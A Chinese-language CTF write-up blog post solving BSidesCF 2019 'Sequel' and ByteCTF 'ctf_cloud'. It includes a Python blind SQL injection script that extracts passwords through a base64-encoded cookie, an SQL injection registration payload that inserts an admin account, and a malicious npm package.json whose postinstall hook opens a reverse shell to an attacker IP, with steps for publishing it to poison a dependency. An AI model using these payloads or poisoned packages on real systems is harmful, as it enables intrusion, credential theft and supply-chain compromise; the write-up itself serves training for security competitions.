刷题(四)

72 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[BSidesCF 2019]Sequel

涉及知识点

-sqlit注入

exp

import requests
import base64
import string
import sys
import time
out = ""

while True:
    for letter in string.printable:
        tmp = out + letter

        if letter == 'g': continue

        payload = r'{{"username":"" OR EXISTS(SELECT password FROM userinfo WHERE password LIKE "{}" limit 1) OR "","password":"guest"}}'.format(
            tmp + '%')

        payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
        time.sleep(0.5)
        r = requests.get(
            'http://25409bfe-a945-4cd2-b15d-faf4167497a8.node4.buuoj.cn:81/sequels', cookies={"1337_AUTH": payload})
        if "Movie" in r.text:
            out = tmp
            sys.stdout.write(letter)
            sys.stdout.flush()
            break

[WMCTF2020]Web Check in 2.0

二:ByteCtf

感觉这次比赛的质量很好,题目涉及不知道的知识点时需要自行学习,提升还是很大的。

ctf_cloud

涉及知识

  • sqlit注入
  • npm投毒

\

解题过程

下载附件进行代码审计,发现可疑处

上面的sql语句都是很规范的,就这存在变量拼接,意图很明显

又由db.sql文件了解表中有三个字段

在注册时抓包

修改如下并注册

{"username":"123","password":"123','0'),('admin',123123,1)--,"}

这样就可以达到插入数据的目的

之后看到有个设置依赖

找到对应路由看看

这是为其设置安装包的包名和版本

然后编译就是安装次npm包

所以我们只要编译一个恶意的npm包上去,让其下载就可以达到投毒的目的

上传恶意npm包

首先创建一个npm仓库账号,完成之后在服务器上创建两个文件

\

package.json

{
  "name": "lengf233",
  "version": "1.0.0",
  "description": "test",
  "main": "index.js",
  "scripts": {
    "postinstall": "bash -c 'bash -i >& /dev/tcp/your_ip/2333 0>&1'"
  },
  "author": "",
  "license": "ISC"
}


index.js
exports.showMsg = function () {
          console.log("This is my first module");
};

创建好了之后先在服务器上用命令登录npm仓库

npm login

之后
在本目录下执行
npm init

npm public

就ok了

接下来就是给他设置依赖了

点击编译,之后就反弹shell到服务器上了

参考

SCTF2019 部分题目WriteUp – glzjin (zhaoj.in)

这题学到了npm投毒这个新操作感觉很棒!